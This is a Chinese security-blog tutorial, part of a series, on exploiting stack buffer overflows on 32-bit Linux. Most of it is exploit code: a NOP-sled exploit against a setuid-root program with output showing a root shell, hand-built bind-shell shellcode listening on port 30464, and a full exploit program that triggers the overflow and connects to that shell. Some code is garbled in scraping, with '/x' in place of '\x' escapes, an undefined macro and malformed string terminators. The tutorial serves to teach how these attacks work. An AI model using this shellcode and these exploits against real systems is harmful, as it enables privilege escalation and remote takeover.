gtxyzz

堆栈溢出技术从入门到高深:利用堆栈溢出获得shell

gtxyzz 安全防护 2022-12-31 300浏览 0

在《堆栈溢出技术从入门到高深:如何书写shell code》中,笔者为大家介绍了一下堆栈的基础知识以及shellcode基本算法等知识,下面本文继续为读者介绍如何利用堆栈溢出来获得shell:

相关推荐】:堆栈溢出技术从入门到高深:windows系统下堆栈溢出

三、利用堆栈溢出获得shell

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。

overflow1.c

char shellcode[] ="/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"

"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"

"/x80/xe8/xdc/xff/xff/xff/bin/sh"

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

在执行完strcpy后,堆栈内容如下所示:

内存底部 内存顶部

buffer EBP ret

<—— [SSS…SSSA ][A ][A ]A..A

^&buffer

栈顶部 堆栈底部

注:S表示shellcode。A表示shellcode的地址。

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们的shellcode。

利用堆栈溢出获得shell

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们将面对一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的strcpy函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的开始地址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件事:

1:把我们的shellcode提供给他,让他可以访问shellcode。

2:修改他的返回地址为shellcode的入口地址。

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer的地址。因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开始地址,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是相同的。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程序堆栈的开始地址。

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax寄存器里面):

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自己写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是几K左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。

前面我们用来覆盖堆栈的溢出字符串为:

SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

现在,为了提高命中率,我们对他进行如下改进:用来溢出的字符串变为:

NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA

其中:N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,NOP指令的机器码为0x90。S为shellcode。A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到S.这个改进大大提高了猜测的命中率,有时几乎可以一次命中。好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到shell的程序:

exploit1.c

#include<stdio.h>

#include<stdlib.h>

#define OFFSET 0

#define RET_POSITION 1024

#define RANGE 20

#define NOP 0x90

char shellcode[]=

"/xeb/x1f" /* jmp 0x1f */

"/x5e" /* popl %esi */

"/x89/x76/x08" /* movl %esi,0x8(%esi) */

"/x31/xc0" /* xorl %eax,%eax */

"/x88/x46/x07" /* movb %eax,0x7(%esi) */

"/x89/x46/x0c" /* movl %eax,0xc(%esi) */

"/xb0/x0b" /* movb $0xb,%al */

"/x89/xf3" /* movl %esi,%ebx */

"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */

"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */

"/xcd/x80" /* int $0x80 */

"/x31/xdb" /* xorl %ebx,%ebx */

"/x89/xd8" /* movl %ebx,%eax */

"/x40" /* inc %eax */

"/xcd/x80" /* int $0x80 */

"/xe8/xdc/xff/xff/xff" /* call -0x24 */

"/bin/sh" /* .string /"/bin/sh/" */

unsigned long get_sp(void)

{__asm__("movl %esp,%eax");}

main(int argc,char **argv)

{char buff[RET_POSITION+RANGE+1],*ptr;

long addr;

unsigned long sp;

int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

int i;

if(argc>1)

offset=atoi(argv[1]);

sp=get_sp();

addr=sp-offset;

for(i=0;i<bsize;i+=4)

*((long *)&(buff[i]))=addr;

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)

buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i<strlen(shellcode);i++)

*(ptr++)=shellcode[i];

buff[bsize-1]="/0"

//现在buff的内容为

//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA/0

printf("Jump to 0x%08x/n",addr);

execl("./vulnerable1","vulnerable1",buff,0);}

execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,作为./vulnerable1的参数提供。

以下是执行的结果:

[nkl10]$Content$nbsp;ls -l vulnerable1

-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*

[nkl10]$Content$nbsp;ls -l exploit1

-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*

[nkl10]$Content$nbsp;./exploit1

Jump to 0xbfffec64

Segmentation fault

[nkl10]$Content$nbsp;./exploit1 500

Jump to 0xbfffea70

bash# whoami

root

bash#

恭喜,恭喜,你获得了root shell。

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。#p#

远程堆栈溢出

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。我们必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制(或者别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击者来说,由于我们不在本地,这个sh我们并没有得到。因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,然后listen我们的连接,给我们一个远程shell的责任。

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行)作为这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进来后,开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,我们远程的使用者就有了一个远程shell(跟telnet一样啦)。

下面就是这个算法的C实现:

opensocket.c

1#include<unistd.h>

2#include<sys/socket.h>

3#include<netinet/in.h>

4int soc,cli,soc_len;

5struct sockaddr_in serv_addr;

6struct sockaddr_in cli_addr;

7int main()

8{

9 if(fork()==0)

10 {

11 serv_addr.sin_family=AF_INET;

12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);

13 serv_addr.sin_port=htons(30464);

14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

15 bind(soc,(struct sockaddr *)&serv_addr,

sizeof(serv_addr));

16 listen(soc,1);

17 soc_len=sizeof(cli_addr);

18 cli=accept(soc,(struct sockaddr *)&cli_addr,

&soc_len);

19 dup2(cli,0);

20 dup2(cli,1);

21 dup2(cli,2);

22 execl("/bin/sh","sh",0);

23 }

24}

第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的pid,对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子进程作为socket通信的执行者继续下面的操作。10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后调用bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接。当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。

看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用gdb来反编译上面的程序:

[nkl10]$Content$nbsp;gcc -o opensocket -static opensocket.c

[nkl10]$Content$nbsp;gdb opensocket

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-redhat-linux"…

(gdb) disassemble fork

Dump of assembler code for function fork:

0x804ca90 <fork>: movl $0x2,%eax

0x804ca95 <fork+5>: int $0x80

0x804ca97 <fork+7>: cmpl $0xfffff001,%eax

0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>

0x804caa2 <fork+18>: ret

0x804caa3 <fork+19>: nop

0x804caa4 <fork+20>: nop

0x804caa5 <fork+21>: nop

0x804caa6 <fork+22>: nop

0x804caa7 <fork+23>: nop

0x804caa8 <fork+24>: nop

0x804caa9 <fork+25>: nop

0x804caaa <fork+26>: nop

0x804caab <fork+27>: nop

0x804caac <fork+28>: nop

0x804caad <fork+29>: nop

0x804caae <fork+30>: nop

0x804caaf <fork+31>: nop

End of assembler dump.

(gdb) disassemble socket

Dump of assembler code for function socket:

0x804cda0 <socket>: movl %ebx,%edx

0x804cda2 <socket+2>: movl $0x66,%eax

0x804cda7 <socket+7>: movl $0x1,%ebx

0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx

0x804cdb0 <socket+16>: int $0x80

0x804cdb2 <socket+18>: movl %edx,%ebx

0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax

0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>

0x804cdbd <socket+29>: ret

0x804cdbe <socket+30>: nop

0x804cdbf <socket+31>: nop

End of assembler dump.

(gdb) disassemble bind

Dump of assembler code for function bind:

0x804cd60 <bind>: movl %ebx,%edx

0x804cd62 <bind+2>: movl $0x66,%eax

0x804cd67 <bind+7>: movl $0x2,%ebx

0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx

0x804cd70 <bind+16>: int $0x80

0x804cd72 <bind+18>: movl %edx,%ebx

0x804cd74 <bind+20>: cmpl $0xffffff83,%eax

0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>

0x804cd7d <bind+29>: ret

0x804cd7e <bind+30>: nop

0x804cd7f <bind+31>: nop

End of assembler dump.

(gdb) disassemble listen

Dump of assembler code for function listen:

0x804cd80 <listen>: movl %ebx,%edx

0x804cd82 <listen+2>: movl $0x66,%eax

0x804cd87 <listen+7>: movl $0x4,%ebx

0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx

0x804cd90 <listen+16>: int $0x80

0x804cd92 <listen+18>: movl %edx,%ebx

0x804cd94 <listen+20>: cmpl $0xffffff83,%eax

0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>

0x804cd9d <listen+29>: ret

0x804cd9e <listen+30>: nop

0x804cd9f <listen+31>: nop

End of assembler dump.

(gdb) disassemble accept

Dump of assembler code for function __accept:

0x804cd40 <__accept>: movl %ebx,%edx

0x804cd42 <__accept+2>: movl $0x66,%eax

0x804cd47 <__accept+7>: movl $0x5,%ebx

0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx

0x804cd50 <__accept+16>: int $0x80

0x804cd52 <__accept+18>: movl %edx,%ebx

0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax

0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>

0x804cd5d <__accept+29>: ret

0x804cd5e <__accept+30>: nop

0x804cd5f <__accept+31>: nop

End of assembler dump.

(gdb) disassemble dup2

Dump of assembler code for function dup2:

0x804cbe0 <dup2>: movl %ebx,%edx

0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx

0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx

0x804cbea <dup2+10>: movl $0x3f,%eax

0x804cbef <dup2+15>: int $0x80

0x804cbf1 <dup2+17>: movl %edx,%ebx

0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax

0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>

0x804cbfe <dup2+30>: ret

0x804cbff <dup2+31>: nop

End of assembler dump.

现在可以写上面c代码的汇编语句了。

fork()的汇编代码

char code[]=

"/x31/xc0" /* xorl %eax,%eax */

"/xb0/x02" /* movb $0x2,%al */

"/xcd/x80" /* int $0x80 */

socket(2,1,6)的汇编代码

注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6

/* socket使用66号系统调用,1号子调用。 */

/* 他使用一段内存块来传递参数2,1,6。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]=

"/x31/xc0" /* xorl %eax,%eax */

"/x31/xdb" /* xorl %ebx,%ebx */

"/x89/xf1" /* movl %esi,%ecx */

"/xb0/x02" /* movb $0x2,%al */

"/x89/x06" /* movl %eax,(%esi) */

/* 第一个参数 */

/* %esi 指向一段未使用的内存空间 */

"/xb0/x01" /* movb $0x1,%al */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

/* 第二个参数 */

"/xb0/x06" /* movb $0x6,%al */

"/x89/x46/x08" /* movl %eax,0x8(%esi) */

/* 第三个参数. */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x01" /* movb $0x1,%bl */

"/xcd/x80" /* int $0x80 */

————————————————————————

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码

————————————————————————

/* bind使用66号系统调用,2号子调用。 */

/* 他使用一段内存块来传递参数。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]="/x89/xf1" /* movl %esi,%ecx */

"/x89/x06" /* movl %eax,(%esi) */

/* %eax 的内容为刚才socket调用的返回值, */

/* 就是soc文件描述符,作为第一个参数 */

"/xb0/x02" /* movb $0x2,%al */

"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */

/* serv_addr.sin_family=AF_NET(2) */

/* 2 放在 0xc(%esi). */

"/xb0/x77" /* movb $0x77,%al */

"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */

/* 端口号(0x7700=30464)放在 0xe(%esi) */

"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */

/* %eax = serv_addr 的地址 */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

/* 第二个参数. */

"/x31/xc0" /* xorl %eax,%eax */

"/x89/x46/x10" /* movl %eax,0x10(%esi) */

/* serv_addr.sin_addr.s_addr=0 */

"/xb0/x10" /* movb $0x10,%al */

"/x89/x46/x08" /* movl %eax,0x8(%esi) */

/* 第三个参数 . */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x02" /* movb $0x2,%bl */

"/xcd/x80" /* int $0x80 */

————————————————————————

listen(soc,1)的汇编代码

————————————————————————

/* listen使用66号系统调用,4号子调用。 */

/* 他使用一段内存块来传递参数。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]=

"/x89/xf1" /* movl %esi,%ecx */

"/x89/x06" /* movl %eax,(%esi) */

/* %eax 的内容为刚才socket调用的返回值, */

/* 就是soc文件描述符,作为第一个参数 */

"/xb0/x01" /* movb $0x1,%al */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

/* 第二个参数. */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x04" /* movb $0x4,%bl */

"/xcd/x80" /* int $0x80 */

————————————————————————

accept(soc,0,0)的汇编代码

————————————————————————

/* accept使用66号系统调用,5号子调用。 */

/* 他使用一段内存块来传递参数。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]=

"/x89/xf1" /* movl %esi,%ecx */

"/x89/xf1" /* movl %eax,(%esi) */

/* %eax 的内容为刚才socket调用的返回值, */

/* 就是soc文件描述符,作为第一个参数 */

"/x31/xc0" /* xorl %eax,%eax */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

/* 第二个参数. */

"/x89/x46/x08" /* movl %eax,0x8(%esi) */

/* 第三个参数. */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x05" /* movb $0x5,%bl */

"/xcd/x80" /* int $0x80 */

————————————————————————

dup2(cli,0)的汇编代码

————————————————————————

/* 第一个参数为 %ebx, 第二个参数为 %ecx */

char code[]=

/* %eax 里面是刚才accept调用的返回值, */

/* 客户的文件描述符cli . */

"/x88/xc3" /* movb %al,%bl */

"/xb0/x3f" /* movb $0x3f,%al */

"/x31/xc9" /* xorl %ecx,%ecx */

"/xcd/x80" /* int $0x80 */

————————————————————————

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

new shellcode

————————————————————————

char shellcode[]=

00 "/x31/xc0" /* xorl %eax,%eax */

02 "/xb0/x02" /* movb $0x2,%al */

04 "/xcd/x80" /* int $0x80 */

06 "/x85/xc0" /* testl %eax,%eax */

08 "/x75/x43" /* jne 0x43 */

/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */

/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */

0a "/xeb/x43" /* jmp 0x43 */

/* 当fork()==0 的时候,表明是子进程 */

/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */

0c "/x5e" /* popl %esi */

0d "/x31/xc0" /* xorl %eax,%eax */

0f "/x31/xdb" /* xorl %ebx,%ebx */

11 "/x89/xf1" /* movl %esi,%ecx */

13 "/xb0/x02" /* movb $0x2,%al */

15 "/x89/x06" /* movl %eax,(%esi) */

17 "/xb0/x01" /* movb $0x1,%al */

19 "/x89/x46/x04" /* movl %eax,0x4(%esi) */

1c "/xb0/x06" /* movb $0x6,%al */

1e "/x89/x46/x08" /* movl %eax,0x8(%esi) */

21 "/xb0/x66" /* movb $0x66,%al */

23 "/xb3/x01" /* movb $0x1,%bl */

25 "/xcd/x80" /* int $0x80 */

/* 执行socket(),eax里面为返回值soc文件描述符 */

27 "/x89/x06" /* movl %eax,(%esi) */

29 "/xb0/x02" /* movb $0x2,%al */

2d "/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */

2f "/xb0/x77" /* movb $0x77,%al */

31 "/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */

35 "/x8d/x46/x0c" /* leal 0xc(%esi),%eax */

38 "/x89/x46/x04" /* movl %eax,0x4(%esi) */

3b "/x31/xc0" /* xorl %eax,%eax */

3d "/x89/x46/x10" /* movl %eax,0x10(%esi) */

40 "/xb0/x10" /* movb $0x10,%al */

42 "/x89/x46/x08" /* movl %eax,0x8(%esi) */

45 "/xb0/x66" /* movb $0x66,%al */

47 "/xb3/x02" /* movb $0x2,%bl */

49 "/xcd/x80" /* int $0x80 */

/* 执行bind() */

4b "/xeb/x04" /* jmp 0x4 */

/* 越过下面的两个跳转 */

4d "/xeb/x55" /* jmp 0x55 */

/* 跳到0x4f+0x55=0xa4 */

4f "/xeb/x5b" /* jmp 0x5b */

/* 跳到0x51+0x5b=0xac */

51 "/xb0/x01" /* movb $0x1,%al */

53 "/x89/x46/x04" /* movl %eax,0x4(%esi) */

56 "/xb0/x66" /* movb $0x66,%al */

58 "/xb3/x04" /* movb $0x4,%bl */

5a "/xcd/x80" /* int $0x80 */

/* 执行listen() */

5c "/x31/xc0" /* xorl %eax,%eax */

5e "/x89/x46/x04" /* movl %eax,0x4(%esi) */

61 "/x89/x46/x08" /* movl %eax,0x8(%esi) */

64 "/xb0/x66" /* movb $0x66,%al */

66 "/xb3/x05" /* movb $0x5,%bl */

68 "/xcd/x80" /* int $0x80 */

/* 执行accept(),eax里面为返回值cli文件描述符 */

6a "/x88/xc3" /* movb %al,%bl */

6c "/xb0/x3f" /* movb $0x3f,%al */

6e "/x31/xc9" /* xorl %ecx,%ecx */

70 "/xcd/x80" /* int $0x80 */

72 "/xb0/x3f" /* movb $0x3f,%al */

74 "/xb1/x01" /* movb $0x1,%cl */

76 "/xcd/x80" /* int $0x80 */

78 "/xb0/x3f" /* movb $0x3f,%al */

7a "/xb1/x02" /* movb $0x2,%cl */

7c "/xcd/x80" /* int $0x80 */

/* 执行三个dup2() */

7e "/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */

/* %eax="/bin" */

83 "/x89/x06" /* movl %eax,(%esi) */

85 "/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */

/* %eax="/sh/" */

8a "/x89/x46/x04" /* movl %eax,0x4(%esi) */

8d "/x31/xc0" /* xorl %eax,%eax */

8f "/x88/x46/x07" /* movb %al,0x7(%esi) */

92 "/x89/x76/x08" /* movl %esi,0x8(%esi) */

95 "/x89/x46/x0c" /* movl %eax,0xc(%esi) */

98 "/xb0/x0b" /* movb $0xb,%al */

9a "/x89/xf3" /* movl %esi,%ebx */

9c "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */

9f "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */

a2 "/xcd/x80" /* int $0x80 */

/* 执行execve() */

/* 运行/bin/sh() */

a4 "/x31/xc0" /* xorl %eax,%eax */

a6 "/xb0/x01" /* movb $0x1,%al */

a8 "/x31/xdb" /* xorl %ebx,%ebx */

aa "/xcd/x80" /* int $0x80 */

/* 执行exit() */

ac "/xe8/x5b/xff/xff/xff" /* call -0xa5 */

/* 执行0x0c处的指令 */

b1

————————————————————————

好,长长的shell终于写完了,下面就是攻击程序了。#p#

exploit4.c

————————————————————————

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#include<netdb.h>

#include<netinet/in.h>

#define ALIGN 0

#define OFFSET 0

#define RET_POSITION 1024

#define RANGE 200

#define NOP 0x90

char shellcode[]=

"/x31/xc0" /* xorl %eax,%eax */

"/xb0/x02" /* movb $0x2,%al */

"/xcd/x80" /* int $0x80 */

"/x85/xc0" /* testl %eax,%eax */

"/x75/x43" /* jne 0x43 */

"/xeb/x43" /* jmp 0x43 */

"/x5e" /* popl %esi */

"/x31/xc0" /* xorl %eax,%eax */

"/x31/xdb" /* xorl %ebx,%ebx */

"/x89/xf1" /* movl %esi,%ecx */

"/xb0/x02" /* movb $0x2,%al */

"/x89/x06" /* movl %eax,(%esi) */

"/xb0/x01" /* movb $0x1,%al */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

"/xb0/x06" /* movb $0x6,%al */

"/x89/x46/x08" /* movl %eax,0x8(%esi) */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x01" /* movb $0x1,%bl */

"/xcd/x80" /* int $0x80 */

"/x89/x06" /* movl %eax,(%esi) */

"/xb0/x02" /* movb $0x2,%al */

"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */

"/xb0/x77" /* movb $0x77,%al */

"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */

"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

"/x31/xc0" /* xorl %eax,%eax */

"/x89/x46/x10" /* movl %eax,0x10(%esi) */

"/xb0/x10" /* movb $0x10,%al */

"/x89/x46/x08" /* movl %eax,0x8(%esi) */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x02" /* movb $0x2,%bl */

"/xcd/x80" /* int $0x80 */

"/xeb/x04" /* jmp 0x4 */

"/xeb/x55" /* jmp 0x55 */

"/xeb/x5b" /* jmp 0x5b */

"/xb0/x01" /* movb $0x1,%al */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x04" /* movb $0x4,%bl */

"/xcd/x80" /* int $0x80 */

"/x31/xc0" /* xorl %eax,%eax */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

"/x89/x46/x08" /* movl %eax,0x8(%esi) */

"/xb0/x66" /* movb $0x66,%al */

"/xb3/x05" /* movb $0x5,%bl */

"/xcd/x80" /* int $0x80 */

"/x88/xc3" /* movb %al,%bl */

"/xb0/x3f" /* movb $0x3f,%al */

"/x31/xc9" /* xorl %ecx,%ecx */

"/xcd/x80" /* int $0x80 */

"/xb0/x3f" /* movb $0x3f,%al */

"/xb1/x01" /* movb $0x1,%cl */

"/xcd/x80" /* int $0x80 */

"/xb0/x3f" /* movb $0x3f,%al */

"/xb1/x02" /* movb $0x2,%cl */

"/xcd/x80" /* int $0x80 */

"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */

"/x89/x06" /* movl %eax,(%esi) */

"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */

"/x89/x46/x04" /* movl %eax,0x4(%esi) */

"/x31/xc0" /* xorl %eax,%eax */

"/x88/x46/x07" /* movb %al,0x7(%esi) */

"/x89/x76/x08" /* movl %esi,0x8(%esi) */

"/x89/x46/x0c" /* movl %eax,0xc(%esi) */

"/xb0/x0b" /* movb $0xb,%al */

"/x89/xf3" /* movl %esi,%ebx */

"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */

"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */

"/xcd/x80" /* int $0x80 */

"/x31/xc0" /* xorl %eax,%eax */

"/xb0/x01" /* movb $0x1,%al */

"/x31/xdb" /* xorl %ebx,%ebx */

"/xcd/x80" /* int $0x80 */

"/xe8/x5b/xff/xff/xff" /* call -0xa5 */

unsigned long get_sp(void)

{

__asm__("movl %esp,%eax");

}

long getip(char *name)

{

struct hostent *hp;

long ip;

if((ip=inet_addr(name))==-1)

{

if((hp=gethostbyname(name))==NULL)

{

fprintf(stderr,"Can"t resolve host./n");

exit(0);

}

memcpy(&ip,(hp->h_addr),4);

}

return ip;

}

int exec_sh(int sockfd)

{

char snd[4096],rcv[4096];

fd_set rset;

while(1)

{

FD_ZERO(&rset);

FD_SET(fileno(stdin),&rset);

FD_SET(sockfd,&rset);

select(255,&rset,NULL,NULL,NULL);

if(FD_ISSET(fileno(stdin),&rset))

{

memset(snd,0,sizeof(snd));

fgets(snd,sizeof(snd),stdin);

write(sockfd,snd,strlen(snd));

}

if(FD_ISSET(sockfd,&rset))

{

memset(rcv,0,sizeof(rcv));

if(read(sockfd,rcv,sizeof(rcv))<=0)

exit(0);

fputs(rcv,stdout);

}

}

}

int connect_sh(long ip)

{

int sockfd,i;

struct sockaddr_in sin;

printf("Connect to the shell/n");

fflush(stdout);

memset(&sin,0,sizeof(sin));

sin.sin_family=AF_INET;

sin.sin_port=htons(30464);

sin.sin_addr.s_addr=ip;

if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)

{

printf("Can"t create socket/n");

exit(0);

}

if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)

{

printf("Can"t connect to the shell/n");

exit(0);

}

return sockfd;

}

void main(int argc,char **argv)

{

char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;

long addr;

unsigned long sp;

int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

int i;

int sockfd;

if(argc>1)

offset=atoi(argv[1]);

sp=get_sp();

addr=sp-offset;

for(i=0;i<bsize;i+=4)

{

buff[i+ALIGN]=(addr&0x000000ff);

buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;

buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;

buff[i+ALIGN+3]=(addr&0xff000000)>>24;

}

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)

buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i<strlen(shellcode);i++)

*(ptr++)=shellcode[i];

buff[bsize-1]="/0"

printf("Jump to 0x%08x/n",addr);

if(fork()==0)

{

execl("./vulnerable","vulnerable",buff,0);

exit(0);

}

sleep(5);

sockfd=connect_sh(getip("127.0.0.1"));

exec_sh(sockfd);

}

————————————————————————

—-

算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标程序来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的shellcode被执行,那么在30464端口就会有server在listen了。父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket读取收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端下面来试一试:我们先写一个漏洞程序:

vulnerable.C

————————————————————————

#include <stdio.h>

int main(int argc,char ** argv)

{

char buffer[1000];

printf("I am here%x,buffer%d/n",buffer,strlen(argv[1]));

strcpy(buffer,argv[1]);

return 0;

}

————————————————————————

[nkl10]$Content$nbsp;./exploit

Jump to 0xbffff63c

I am herebffff280,buffer1224

Connect to the shell

Can"t connect to the shell

看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样就可以不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。

[nkl10]$./exploit 956

Jump to 0xbffff280

I am herebffff280,buffer1224

connect to shell

whoami

root

id

uid=0(root)……

uname -a

Linux localhost.localdomain 2.2.5-15。。。

大功告成了。

继续浏览有关 安全 的文章
发表评论